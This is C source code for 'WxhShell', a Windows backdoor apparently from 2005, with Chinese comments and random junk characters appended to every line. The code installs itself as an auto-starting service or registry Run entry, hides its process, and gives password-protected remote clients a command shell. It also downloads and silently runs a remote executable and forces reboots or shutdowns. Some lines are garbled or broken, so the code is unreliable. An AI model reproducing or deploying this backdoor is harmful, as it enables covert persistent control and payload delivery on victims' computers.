    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [!]2 djc  
    else { ^iw'^6~  
    closesocket(wsh); ;)^`3`  
    ExitThread(0); _?0}<k Q&  
    } t "'7m^j  
    break; Qe0lBR?H  
    } k%QpegN  
  // 获取shell q2:6QM&  
  case 's': { 6-B|Y3)B  
    CmdShell(wsh); <.izVD4/Gg  
    closesocket(wsh); b-Q>({=i  
    ExitThread(0);  dZ0vA\z|  
    break; o@i#|kx,  
  } 3Xy-r=N.l  
  // 退出 6?~"V  
  case 'x': { 0eu$ W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); } .y 1;.  
    CloseIt(wsh); c?&X?<  
    break; <oA7'|Bu<  
    } OCaq3_#tZ  
  // 离开 @wo(tf=@P  
  case 'q': { c*L\_Vx+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k:F9. j%*  
    closesocket(wsh); @? QoF#D  
    WSACleanup(); 9}F*P669f  
    exit(1); .NC:;@y  
    break; P0j8- I  
        } k=JrLfD4  
  } "~7>\>UFh  
  } yS(fILV  
2:7zG "$  
  // 提示信息 l@+7:n4K0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <;m<8RjX  
} jun_QiU:2  
  } 4DOH`6#an  
bITPQ7+  
  return; 6BbGA*%{  
} h"_;IUZ!  
wFsyD3  
// shell模块句柄 92x(u%~E  
int CmdShell(SOCKET sock) Be=u&T:~  
{ Zrk4*/ VY  
STARTUPINFO si;  s ;oQS5Y  
ZeroMemory(&si,sizeof(si)); Y^7$t^&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >dG;w6y'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dDGgvi|[Mz  
PROCESS_INFORMATION ProcessInfo; _%!c+f7  
char cmdline[]="cmd"; 6dN7_v)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .C( eh   
  return 0; A1D^a,  
} LO khjHR  
&cHV7  
// 自身启动模式 D=m9fFz  
int StartFromService(void) ;/fF,L{c  
{ Vp*KfS]  
typedef struct )Sg~[WxDv  
{ Q<'nE  
  DWORD ExitStatus; O%(fx!c`  
  DWORD PebBaseAddress; P&)xz7wG  
  DWORD AffinityMask; q[`]D7W "  
  DWORD BasePriority; (k) l= ]`}  
  ULONG UniqueProcessId; P+PR<ZoI{f  
  ULONG InheritedFromUniqueProcessId; -o[x2u~n\  
}   PROCESS_BASIC_INFORMATION; 5eoska#y   
!QHFg-=7  
PROCNTQSIP NtQueryInformationProcess; C8e !H  
VsgE!/>1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TI#''XCB5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +5o8KYV  
Q}K#'Og  
  HANDLE             hProcess; ') gi%  
  PROCESS_BASIC_INFORMATION pbi; SHbtWq}T  
^G.Xc\^w:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )Xak JU^o  
  if(NULL == hInst ) return 0; | e?64%l5P  
feNdMR7eM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ##;Er47@^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [*HN"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ( Qcp{q  
.ir<s>YM  
  if (!NtQueryInformationProcess) return 0; qg!|l7e  
t!x5fNo)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'fF;(?  
  if(!hProcess) return 0; sqJSSNt  
=p?WBZT|:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P h}|dGb  
Y"Ql!5=  
  CloseHandle(hProcess); M^iU;vo  
\2}bi:e 6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \B 0ywN?  
if(hProcess==NULL) return 0; :GW&O /Yo  
Xn,v]$M!  
HMODULE hMod; Bj}^\Pc;}  
char procName[255]; [y)`k@  
unsigned long cbNeeded; %Gj8F4{  
)h|gwERj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9^Whg ~{  
7.@TK&  
  CloseHandle(hProcess); O:"*q&;J  
+$(2:S*r  
if(strstr(procName,"services")) return 1; // 以服务启动 ~J8pnTY  
4*mS y  
  return 0; // 注册表启动 !]fQ+*X0g  
} J.dLPKU;-  
iMFgmM|  
// 主模块 S:q3QgU=X  
int StartWxhshell(LPSTR lpCmdLine) 6,LubZFD  
{ ]oV{t<0a  
  SOCKET wsl; bi&*9K0  
BOOL val=TRUE; mp?78_I)  
  int port=0; r"a5(Q;n  
  struct sockaddr_in door; 0}FOV`n  
TsUOpEuX  
  if(wscfg.ws_autoins) Install(); ~$f;U  
"/6:6`J  
port=atoi(lpCmdLine); <b?!jV7  
@~"an qT`  
if(port<=0) port=wscfg.ws_port; jhX[fT1m  
N!x =eC  
  WSADATA data; p=B>~CH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^/ =#UQ*k  
M- 2Tz[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pge++Di  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }%`~T>/  
  door.sin_family = AF_INET; )VK }m9Ae  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7`H 1f]d  
  door.sin_port = htons(port); ;v~-'*0  
_#s=h_ FD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d:q +  
closesocket(wsl); TLf9>= OVh  
return 1; M9f?q.Bv  
} 9W>Y#V~|v!  
s(LT  
  if(listen(wsl,2) == INVALID_SOCKET) { Af5D>/  
closesocket(wsl); ,j ',x\  
return 1; ?Xo*1Z =  
} Dbaf0  
  Wxhshell(wsl); 4E[!,zvl  
  WSACleanup(); %77p5ctW  
9 ASb>A2~  
return 0; u@P[Vb   
]PP:oriWl  
} Tv]<SI<B[  
>x@P|\  
// 以NT服务方式启动 #Hh^3N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W*:,m8wk  
{ {8EW)4Hf  
DWORD   status = 0; -g/hAxb5  
  DWORD   specificError = 0xfffffff; =AEz9d ciS  
=}fd6ea(o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *Sf -; U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O^I[ (8Y8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  5q<zN  
  serviceStatus.dwWin32ExitCode     = 0; s& {Qdf  
  serviceStatus.dwServiceSpecificExitCode = 0; tAFti+Qb  
  serviceStatus.dwCheckPoint       = 0; y8bM<e2 U  
  serviceStatus.dwWaitHint       = 0; X0+fsf<H}  
&MgeYpd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hsG#6?l3  
  if (hServiceStatusHandle==0) return; 7C?.L70ZY  
+ f;CyMEp  
status = GetLastError(); E}Xka1 Bn  
  if (status!=NO_ERROR) npu6E;'l*  
{ ftavbNR`W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &yz&LNn'  
    serviceStatus.dwCheckPoint       = 0; *NSlo^R-[  
    serviceStatus.dwWaitHint       = 0; >1irSUj"~  
    serviceStatus.dwWin32ExitCode     = status; <B&R6<]T  
    serviceStatus.dwServiceSpecificExitCode = specificError; qJT0Y/l:(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y ZaP  
    return; 9<]a!:!^  
  } N\1/JW+  
4`2$_T$ F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PI?j_8  
  serviceStatus.dwCheckPoint       = 0; 88a<{5 :z  
  serviceStatus.dwWaitHint       = 0; zyN (4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -05U%l1e  
} re,.@${H  
r7!J&8;{K  
// 处理NT服务事件,比如:启动、停止 $ A-b vL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /k"hH\Pp  
{ r.FLGD U  
switch(fdwControl) R+$8w2#  
{ "gNK><  
case SERVICE_CONTROL_STOP: 0%)5.=6  
  serviceStatus.dwWin32ExitCode = 0; 2neRJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q)Dwq?  
  serviceStatus.dwCheckPoint   = 0; O rk  
  serviceStatus.dwWaitHint     = 0; RyRqH:p)3  
  { D?+ RJs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <qiICb)~  
  } e.6Dl_  
  return; }NX\~S"  
case SERVICE_CONTROL_PAUSE: 6;uBZ &g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J35l7HH  
  break; qZ G-Lh  
case SERVICE_CONTROL_CONTINUE: sdF3cX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u2`xC4>c  
  break;  "jU  
case SERVICE_CONTROL_INTERROGATE: {>.>7{7  
  break; -Q`C q |s  
}; ~! Lw1]&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dV$!JTsd  
} lfMH1llx  
f Lk"tW  
// 标准应用程序主函数 $k(9 U\y-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W:ixzpQ  
{ C/+nSe.  
rr>~WjZ3  
// 获取操作系统版本 !=M/j}  
OsIsNt=GetOsVer(); _XN~@5elrC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q=[U }{  
oBUh]sR{.  
  // 从命令行安装 > I%zd/q?  
  if(strpbrk(lpCmdLine,"iI")) Install(); Rk[8Bd?  
f sX;Nj]  
  // 下载执行文件 ~ iT{8  
if(wscfg.ws_downexe) { #6FaIq92V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ],V kp  
  WinExec(wscfg.ws_filenam,SW_HIDE);  'O1.6*K  
} |2UauTp5yK  
KS>Fl->  
if(!OsIsNt) { 0N1' $K$\  
// 如果时win9x,隐藏进程并且设置为注册表启动 qi[(*bFK7  
HideProc(); xucIjPi]  
StartWxhshell(lpCmdLine); l_sg)Vr/b  
} ?lG;,,jc,W  
else 4O Zy&,  
  if(StartFromService()) n1`T#%e  
  // 以服务方式启动 <d<RK@2-  
  StartServiceCtrlDispatcher(DispatchTable); <\xQ7|e  
else (jneEo=vr  
  // 普通方式启动 E#~2wqK  
  StartWxhshell(lpCmdLine); 1'OD3~[R  
R]fYe#!"  
return 0; L3' \r  
} <VgE39 [  
,9$>d}N  
cl#OvQ  
>|S>J+(  
=========================================== K/A ? ]y  
%1@.7 uTN  
u p7 x)w:  
m4\g o  
@%keTTZ  
E- [:. &  
" Bzwx0c2VY8  
_/8y1) I  
#include <stdio.h> EXH!glR[$  
#include <string.h> zZw@c?  
#include <windows.h> o|BFvhg  
#include <winsock2.h> r8H7TJI0   
#include <winsvc.h> ,$SkaTBe  
#include <urlmon.h> 3Y=,r!F.h  
Xd5! Ti}  
#pragma comment (lib, "Ws2_32.lib") %!#rrt,F  
#pragma comment (lib, "urlmon.lib") Y~}QJ+`?  
/G[+E&vj  
#define MAX_USER   100 // 最大客户端连接数 .2{6h  
#define BUF_SOCK   200 // sock buffer ?\l!]vu*  
#define KEY_BUFF   255 // 输入 buffer V=Ww>  
sd]0Hx[  
#define REBOOT     0   // 重启 U5 -zB)V  
#define SHUTDOWN   1   // 关机 939]8BERt  
=k_XKxd  
#define DEF_PORT   5000 // 监听端口 CD$u=E ]  
>zN" z)  
#define REG_LEN     16   // 注册表键长度 x*k65WO\  
#define SVC_LEN     80   // NT服务名长度 ,OFq'}q  
FL5ibg  
// 从dll定义API W'm!f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Nt?2USTs-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {: Am9B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,Uv{dG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -DbH6u3  
Q;d+]xj  
// wxhshell配置信息 :H~UyrN  
struct WSCFG { dY48S{  
  int ws_port;         // 监听端口 @|jKO5Y  
  char ws_passstr[REG_LEN]; // 口令 ?nj"Ptzs  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y8{T.\%\+  
  char ws_regname[REG_LEN]; // 注册表键名 "{,\]l&o  
  char ws_svcname[REG_LEN]; // 服务名 9;r48)5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ki&WS<,0Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |SwZi'p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \pT^Zhp)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5&G Q=m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YqK+F=0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YMd&To0s  
(xjoRbU*  
}; ;HD 4~3   
W o<PmSt9i  
// default Wxhshell configuration FkB6*dm-  
struct WSCFG wscfg={DEF_PORT, ~5XL@jI^  
    "xuhuanlingzhe", {66Q" H"I  
    1, Q6e'0EIKC  
    "Wxhshell", )VV4HoH]8  
    "Wxhshell", J7 Oa})-+'  
            "WxhShell Service", \Nh^Ig   
    "Wrsky Windows CmdShell Service", cQUH%7m  
    "Please Input Your Password: ", 3> n2  
  1, v#T?YK  
  "http://www.wrsky.com/wxhshell.exe", ly[\mGr  
  "Wxhshell.exe" [<@A8Q5,y  
    }; M+;!]tbc3  
71}L# nQ  
// 消息定义模块 %nG~u,_2f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3thG*^C5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CBz(hCaI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p: Q%Lg_I  
char *msg_ws_ext="\n\rExit."; X=*Yzz}  
char *msg_ws_end="\n\rQuit."; `gBXeG2fn  
char *msg_ws_boot="\n\rReboot..."; ;c \zgs~"T  
char *msg_ws_poff="\n\rShutdown..."; ^bY^x+d  
char *msg_ws_down="\n\rSave to "; H *z0xxa  
,/[dmoe  
char *msg_ws_err="\n\rErr!"; ,_TH@0{   
char *msg_ws_ok="\n\rOK!"; v"Ud mv"  
lN= m$J  
char ExeFile[MAX_PATH]; "\R@l Ux.Y  
int nUser = 0; ] _]6&PZXk  
HANDLE handles[MAX_USER]; dmTW]P2  
int OsIsNt; CoKj'jA  
nfCd*f  
SERVICE_STATUS       serviceStatus; :g]HB ,78  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \CEnOq  
k:HSB</}  
// 函数声明 2Xq!'NrS  
int Install(void); .k!k-QO5La  
int Uninstall(void); ,co9f.(w  
int DownloadFile(char *sURL, SOCKET wsh); y1jGf83  
int Boot(int flag); Sv^'CpQ  
void HideProc(void); l52n/w#qFB  
int GetOsVer(void); sLpCWIy  
int Wxhshell(SOCKET wsl); j8ohzX[Y  
void TalkWithClient(void *cs); LBiv]3  
int CmdShell(SOCKET sock); f >, Qhl  
int StartFromService(void); TckR_0LNV  
int StartWxhshell(LPSTR lpCmdLine); j}x O34  
b6E8ase:F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {0Ol/N;|D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5M.n'*   
M0"g/W  
// 数据结构和表定义 KohQ6q  
SERVICE_TABLE_ENTRY DispatchTable[] = DoPF/m}  
{  6O|\4c;  
{wscfg.ws_svcname, NTServiceMain}, %n`iA7j$W  
{NULL, NULL} 7<C~D,x6  
}; w]P7!t  
vS,G<V3B  
// 自我安装 d_?Zr`:  
int Install(void) N=?kEX O  
{ p/^\(/\])  
  char svExeFile[MAX_PATH]; 2 DNzC7}e  
  HKEY key; "GC]E8&>H  
  strcpy(svExeFile,ExeFile); lO[jf6gB  
*t-A6)2  
// 如果是win9x系统,修改注册表设为自启动 g(}8n bTA  
if(!OsIsNt) { ug3lMN4UX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !Pjg&19  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %JH_Nw.P  
  RegCloseKey(key); ~b<4>"7y.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `0WA!(W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $6x:aG*F  
  RegCloseKey(key); DP'Dg /D  
  return 0; PC(iqL8r  
    } i I Nu`>I  
  } t>|N4o  
} Mh/>qyS *2  
else { WuQ<AS=   
Y>!W&Gtu  
// 如果是NT以上系统,安装为系统服务  #=~1hk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oX~$'/2v  
if (schSCManager!=0) D$!p+Q  
{ F^bQ-  
  SC_HANDLE schService = CreateService V +<AG*[  
  ( 7a_n\]t465  
  schSCManager, GyM%vGl 3  
  wscfg.ws_svcname, &)}:Y!qiu  
  wscfg.ws_svcdisp, kvVz-P Jy  
  SERVICE_ALL_ACCESS, zZ0V6T}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6f9<&dCK  
  SERVICE_AUTO_START, ITY!=>S-  
  SERVICE_ERROR_NORMAL, 34M.xB   
  svExeFile, ?D 9#dGK  
  NULL, +dpj?  
  NULL, dC|#l?P  
  NULL, '# 2J?f'  
  NULL, wgP3&4cSUc  
  NULL Wk#-LkI  
  ); ={vtfgxl  
  if (schService!=0) f9=X7"dzP  
  { jY6=+9Jz5  
  CloseServiceHandle(schService); 9NXiCP9A  
  CloseServiceHandle(schSCManager); )7mJ+d[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2s ,n!u Fd  
  strcat(svExeFile,wscfg.ws_svcname); NJ!#0[@C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XFAt\g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -2Cf)>`v  
  RegCloseKey(key); aq| [g  
  return 0; ##ea-"m8  
    } BFu9KS+@)  
  } yk6UuI^/  
  CloseServiceHandle(schSCManager); 'ZgW~G]S  
} zszx@`/3  
} t[ocp;Q  
*fX)=?h56  
return 1; UimZ/\r  
} `3s-\>  
y+x>{!pw  
// 自我卸载 V]cY+4Y  
int Uninstall(void) {oeQK   
{ jM<Ihmh|  
  HKEY key; Gnq~1p5^  
B\w`)c  
if(!OsIsNt) { 5-po>1g'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FeRuZww._J  
  RegDeleteValue(key,wscfg.ws_regname); &<b7T$c  
  RegCloseKey(key); d0,F'?.0|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tC~itU=V  
  RegDeleteValue(key,wscfg.ws_regname); 9xp ;$14  
  RegCloseKey(key); ?OdA`!wE  
  return 0; e@VRdhb  
  } # =3]bg  
} U<gw<[>f  
} EZW?(%b>H  
else { 9?6$ 2I  
>GRuS\B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "VCr^'  
if (schSCManager!=0) LvdMx]*SSr  
{ ((q(Q9(F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |sAg@kM  
  if (schService!=0) 06;{2&ju<  
  { +y(h/NcQ  
  if(DeleteService(schService)!=0) { I{bi3y0  
  CloseServiceHandle(schService); wUndNE   
  CloseServiceHandle(schSCManager); 5E=Odep`  
  return 0; r2w7lf66!  
  } rJwJ5U  
  CloseServiceHandle(schService); AG2jl/  
  } h^,a 1'  
  CloseServiceHandle(schSCManager); H_]kR&F8  
} N"y4#W(Z@  
} OwUbm0)h^V  
AR^Di`n!  
return 1; %4J?xhd  
} ^u{$$.&  
Vo[4\h#$  
// 从指定url下载文件  v<W++X7z  
int DownloadFile(char *sURL, SOCKET wsh) Cv33?l-8%_  
{ J$[Vm%56  
  HRESULT hr; $la,_Sr  
char seps[]= "/"; 4G ?k31,k  
char *token; <KX#;v!I  
char *file; =j-{Mxb3  
char myURL[MAX_PATH]; g> f394j  
char myFILE[MAX_PATH]; 7dZ!GX?\y  
]vMft?  
strcpy(myURL,sURL); wC~Uy%  
  token=strtok(myURL,seps); `^ok5w"oi  
  while(token!=NULL) TzJN,]F!M  
  { |n;7fqK  
    file=token; {;r5]wimb  
  token=strtok(NULL,seps); m{|n.b  
  } }dCnFZ{K3  
3V]a "C   
GetCurrentDirectory(MAX_PATH,myFILE); ]h6<o*  
strcat(myFILE, "\\"); c9V'Zd#  
strcat(myFILE, file); XOMWqQr|  
  send(wsh,myFILE,strlen(myFILE),0); va\cE*,@ns  
send(wsh,"...",3,0); G(i/ @>l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Sj\8$QIXC  
  if(hr==S_OK) &I8ZVtg  
return 0; nM#\4Q[}Jh  
else %"D-1&%zY  
return 1; lOZZ-  
h1$,  
} ?~"RCZ[;.f  
udMq>s;  
// 系统电源模块 cVN|5Y   
int Boot(int flag) qmhHHFjQ  
{ NeH^g0Q2,g  
  HANDLE hToken; iM-@?!WF  
  TOKEN_PRIVILEGES tkp; > ewcD{bt  
{dDU^7O  
  if(OsIsNt) { @xo9'M<l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); = >9`qcNW_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %5b2vrg~*  
    tkp.PrivilegeCount = 1; gwyz)CUkL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9496ayi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9"[#\TW9Vb  
if(flag==REBOOT) { [1Rs~T"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 09r.0Ks  
  return 0; s&4Y+dk93  
} PM{kiz^  
else { yo5|~"yZY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,xGkE7=5  
  return 0; c8h 9  
} EyhQjs aT  
  } IsI\T8yfc  
  else { Gmc0yRN  
if(flag==REBOOT) { 8D-g%Aj-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @AJt/wPk  
  return 0; @l 1 piz8  
} m6s32??m  
else { Y`%:hvy~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :2La,  
  return 0; a4?:suX$  
} UPH:$Fk&  
} 7P=j2;7 v  
*+5AN306  
return 1; Y>r9"X| &H  
} t<rhrW75P  
LbnR=B!  
// win9x进程隐藏模块 QM OOJA  
void HideProc(void) ^$VOC>>9  
{ N]gdS]pP2{  
 QHOem=B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1 Nv_;p.{  
  if ( hKernel != NULL ) 0e&Vvl4DK  
  { uGOvZO^v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -[Q%Vv!8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b2hB'!m  
    FreeLibrary(hKernel); v*kTTaU&  
  } .Gw;]s3  
D3$}S{Yw1  
return; (h%!Kun  
} C,.$g>)MZK  
:Fm)<VN"  
// 获取操作系统版本 KnKV+:"  
int GetOsVer(void) - 3kg,=HU;  
{ R["_Mff  
  OSVERSIONINFO winfo; !>+YEZ"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jU/0a=h9  
  GetVersionEx(&winfo); >zVj+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |\J8:b> }  
  return 1; [;%qxAB/_  
  else $3k5hDA0e  
  return 0; zrri&QDF<  
} qdWsP9}q  
I8rtta  
// 客户端句柄模块 YLk/16r  
int Wxhshell(SOCKET wsl) '7 SFa]tH  
{ pbt/i+!  
  SOCKET wsh; lOYzo  
  struct sockaddr_in client; jw]~g+x#$  
  DWORD myID; jNBvy1  
y ~7]9?T  
  while(nUser<MAX_USER) rjHL06qE  
{ 0P_qtS  
  int nSize=sizeof(client); bd_&=VLTC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \L Gj]mb1  
  if(wsh==INVALID_SOCKET) return 1; .-Yhpw>f  
gP:mZ7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NBU[>P  
if(handles[nUser]==0) p'tB4V qT  
  closesocket(wsh); &==X.2XW  
else nO.RB#I$F  
  nUser++; gTa6%GM>  
  } ~H`~&?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FwKT_XkY  
c0h:Vqk-  
  return 0; D',[M)  
} {]ie|>'=C  
_\uyS',  
// 关闭 socket &]~Vft l  
void CloseIt(SOCKET wsh) 6HeZ<.d&  
{ 5F&xU$$a-  
closesocket(wsh); K)"lq5nM  
nUser--; SFP%UfM<  
ExitThread(0); d)d\h`=Z  
} v 9\2/B  
VjsQy>5m  
// 客户端请求句柄 >..C^8 "  
void TalkWithClient(void *cs) 6d4)7PL  
{ ) bRj'*  
[ed6n@/O@  
  SOCKET wsh=(SOCKET)cs; Cp{ j+Ia  
  char pwd[SVC_LEN]; vG;)(.:  
  char cmd[KEY_BUFF]; 1HPYW7jk@"  
char chr[1]; R{N9'2l:  
int i,j; yCC.j%@  
:56f  
  while (nUser < MAX_USER) { "kH Ft|%@  
,j^z];  
if(wscfg.ws_passstr) { A 9\]y%!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UM[<v9NWE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vMT:j  
  //ZeroMemory(pwd,KEY_BUFF); =\uQGH  
      i=0; GBMCw  
  while(i<SVC_LEN) { =XbOY[  
k(As^'>  
  // 设置超时 "lU%Pm]>  
  fd_set FdRead; |^ K"#K  
  struct timeval TimeOut; [,_4#Zz  
  FD_ZERO(&FdRead); g3*" ^C2=  
  FD_SET(wsh,&FdRead); @!;EW R]  
  TimeOut.tv_sec=8; oz54IO  
  TimeOut.tv_usec=0; b d!|/Lk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KNH.4A  ,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q].n1w [  
n+Bh-aV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?<7o\Xk#{  
  pwd=chr[0]; 39j "z8 n  
  if(chr[0]==0xd || chr[0]==0xa) { #a : W  
  pwd=0; )+!~xL  
  break; N^u,C$zP9C  
  } ?uiQ'}   
  i++; 7soiy A  
    } ?=C?3R  
#:C?:RMS  
  // 如果是非法用户,关闭 socket ,sU#{.(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x^s2bb  
} wTT_jyH)  
HW0EPJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OB-2xmZW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HC'k81Q  
i Eh -  
while(1) { M@LI(;  
lz=DP:/&  
  ZeroMemory(cmd,KEY_BUFF); !`S`%\"  
KZK9|121  
      // 自动支持客户端 telnet标准   [#}A]1N  
  j=0; hX?rIx  
  while(j<KEY_BUFF) { 3M/iuu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y(I_ 6+B^  
  cmd[j]=chr[0]; YJioR4+q  
  if(chr[0]==0xa || chr[0]==0xd) { 8UA bTqB-  
  cmd[j]=0; @ P[o  
  break; !>%U8A  
  } LdSBNg#3  
  j++; ) ?AlQA  
    } N S^(5g  
< C{-ph  
  // 下载文件 ;H%&Jht  
  if(strstr(cmd,"http://")) { v^Vr^!3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d@ +}_R"c  
  if(DownloadFile(cmd,wsh)) pP1|/f5n`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Xb )bfN  
  else @@!Mt~\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aD2+9?m  
  } A7{l60(5  
  else { W%/lBkP  
qb rf;`  
